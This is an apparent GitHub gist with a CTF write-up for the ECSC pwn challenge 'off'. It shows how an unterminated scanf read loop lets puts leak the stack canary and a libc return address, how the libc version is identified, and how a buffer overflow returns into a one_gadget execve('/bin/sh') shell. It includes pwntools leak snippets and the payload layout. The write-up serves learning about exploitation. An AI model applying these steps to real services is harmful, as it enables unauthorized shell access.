Skip to content

Instantly share code, notes, and snippets.

@RubenBrocke
Created October 17, 2019 15:17
Show Gist options
  • Save RubenBrocke/706a69237dddc891e5cf0b8105702359 to your computer and use it in GitHub Desktop.
Save RubenBrocke/706a69237dddc891e5cf0b8105702359 to your computer and use it in GitHub Desktop.
ECSC writeup - OFF (pwn)

writeup ECSC pwn challenge: off

We are provided a binary and an ip to connect to. Running the binary we get the following prompt:

What do you want to do?
I'm here to serve you. :-)

When we input some data it returns:

What do you want to do?
I'm here to serve you. :-)
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Done for this round.

I'm here to serve you. :-)

It seems it repeats whatever we give as an input. I tried some simple printf format strings but to no avail. I also inputted a lot of characters and got a stack smashing detected meaning there is a stack canary present.

Let's start uncovering the secrets of the file First we look at the file using the file command:

λ panda [~/SolvedCTF] → file pwn 
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e9a81abd57a71a92b4a856839197e9611f14d40b, stripped

Turns out we have a 64-bit ELF binary. Let's quickly run it through checksec:

λ panda [~/SolvedCTF] → checksec --file=./pwn
RELRO         STACK CANARY NX         PIE    RPATH      RUNPATH	   Symbols    FORTIFY Fortified	Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH   No RUNPATH No Symbols Yes      0        0           ./pwn

From this we can see the stack is not executable so we cannot use shellcode on the stack. As we expected the binary also contains a stack canary.

Next we can try some simple reversing to see if we can find anything interesting. The first thing I notice is the following statement

char local_418 [1032];

This looks like our input buffer and it seems to be quite large. I continue my search in the binary and find this:

while( true ) {
    __isoc99_scanf(&DAT_004009d4,&local_15);
    if (local_15 == '\n') break;
    local_14 = local_14 + 1;
    *(char *)(local_14 + lParm1) = local_15;
}

cleaning this up a bit i got:

while( true ) {
    scanf("%c",&output);
    if (output == '\n') break;
    index = index + 1;
    *(char *)(index + offset) = output;
}

This piece of code contains the fatal flaw of the program. Since it uses scanf to read a character at a time it will not create a valid C string (and is thus missing the final null byte). It also does not check if it reads more than can fit in the buffer and is this vulnerable to a buffer overflow. With this code we can leak data from the stack.

This works because our data is being printed with puts(). A quick google about puts says this: int puts(const char *str) writes a string to stdout up to but not including the null character. A newline character is appended to the output.. like i said before the program does not append a null character to the end of our input... so puts will keep writing any data it sees until we run into a null byte. This is what allows us to leak values from the stack.

Let's try filling up the buffer with data and see what output we get.

What do you want to do?
I'm here to serve you. :-)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Done for this round.

I'm here to serve you. :-)

That's weird? nothing special seems to happen. I quickly remembered that stack cookies begin with a null bytes (specifically to prevent these kind of stack leaks) and we did not overwrite that. So now i try to fill the buffer and add a single character to overwrite the null bytes.

What do you want to do?
I'm here to serve you. :-)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�J�'&�C�+
*** stack smashing detected ***: <unknown> terminated
I'm here to serve you. :-)

That looks interesting. Some weird data got added to the end of my input. This must be the stack canary. I wrote some simple code to leak the stack canary using this print so i could use it later when i want to overwrite something else.

p.recvuntil(':-)')
p.sendline('A' * 1033)
p.recvline()
canary = b'\x00' + p.recvline()[1033:1032+8]

It is important to notice that the program does not exit fully when the stack gets smashed. This is because the binary contains a fork() call which will spawn a new process every time the other one dies (this keeps the stack canary the same).

Leaking values from the stack is not limited to the stack canary. We can for example start' leaking all of it and we will find return pointers and possibly other interesting pointers.

for x in range(128):
    p.recvuntil(':-)')
    p.sendline('A' * (1033 + x))
    p.recvline() # skip newline
    value = p.recvline()[1033 + x:1033 + x + 1].hex()
    print(value, end=' ')

As a result i got these values:

2b 7a 04 b6 f3 5e 85 = canary
2b a4 e5 fc 7f = 7ffce5a42b some pointer?
2c 09 40 = 40092c = return pointer?
50 09 40 = 400950 = another return pointer?
53 d1 fb f6 3c 7f = 7f3cf6fbd153 another pointer?

Some quick lookup in gdb shows that the last pointer is the libc_main_ret pointer. This provides us with some really valuable info. We can now use libc-database to find what version of libc the server is using.

./find __libc_start_main_ret 830 
[156f312]
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
archive-glibc (id libc6_2.23-0ubuntu3_amd64)

Notice: the offsets are different because i am not able to reach the ECSC servers anymore obviously

Turns out the server uses version 2.23. We can now use one_gadget to find the execve() gadget within libc.

one_gadget ../libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
[156f312]
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

This provides us with some great options for exploitation. We can use out buffer overflow. Then add the cookie, keep adding to the stack until we overwrite the return pointer with our gadget. We also need to look at the constraint. I chose to use the second one in my exploit. The offset to the gadget can be calculated using the offset of libc_main_ret given by libc-database. To meet the constraint we just have to fill a bunch of the stack with null bytes which we can do.

In the end my exploit looked like this

[Fill buffer: 1023][Canary: 8][Fill stack: 8][Ret pointer to gadget: 8][Fill stack null byte: 48]

The exploit the provided me with a shell and all i had to do was write

cat flag.txt

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment